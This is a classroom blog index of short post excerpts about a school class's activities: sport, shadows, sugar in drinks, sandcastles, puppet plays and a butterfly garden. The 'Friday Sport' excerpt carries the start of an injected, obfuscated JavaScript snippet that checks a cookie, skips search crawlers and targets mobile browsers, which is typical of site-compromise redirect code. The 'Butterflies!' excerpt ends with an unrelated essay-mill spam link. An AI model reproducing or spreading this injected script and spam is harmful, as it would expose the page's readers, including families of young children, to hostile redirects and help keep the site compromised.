Today Garth came to visit and we walked on big ball skills. We worked at bounce passes and underarm passes. Here are some photos. … [Read more...]
Sports with Garth
Game time with Room 10
Today Room 10 and Room 7 went outside and played a game with some hoops. We had to work together holding our hands to get the hoop all around our circle. We worked hard to participate and contribute as well as work well in a team. … [Read more...]
Shadows!
Today we drew around our friends to make our shadows-Tamzyn. We then wrote about "What is a shadow?'-Zion. We made cool shadows and they were on the courts-Quinn. We were learning to write our own ideas-Mataki. Here's Troys' interesting idea: A shadow is a big dark thing. When it is lunch it will be small, shadows follow us around … [Read more...]
Sugar, sugar, sugar!
Today Garth come to talk to us about the amount of sugar in drinks. We were able to see that milk and water are the healthiest drinks for us to drink! E2 drinks have 20 teaspoons and should only be drunk for special occasions. … [Read more...]
Tane and his guitar!
We were very excited today to see Tane come to school! He had his guitar with him, we asked lots of great questions. We can't wait to hear you play for us one day Tane! … [Read more...]
Sandcastle building!
Today, we had a brilliant time in the sandpit building sandcastles. We then wrote a recount piece of writing about our experience. Come in and check them out! All tamariki showed the Key Competency 'Managing Self' and worked well with others in the sandpit and took turns with the equipment. Tino pai Room … [Read more...]
Plays
In our reading tumble we have puppets as an activity. Today, we were treated to a performance by Kakariki. Tino pai Kakariki, I like the way you participated and contributed well as a group. … [Read more...]
Kookoo Kangaroo!
We have been having fun learning some new brain gym and morning exercises before we start our writing. Our favourite one is called "Pop See Ko". … [Read more...]
Friday Sport
Friday sport with our sports co-ordinator Michael. Look at how much fun we had! if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge … [Read more...]
Butterflies!
Here we are checking out our beautiful butterfly garden. Our topic this term is metamorphosis and we have been learning about the butterfly life cycle. 911-essay.com … [Read more...]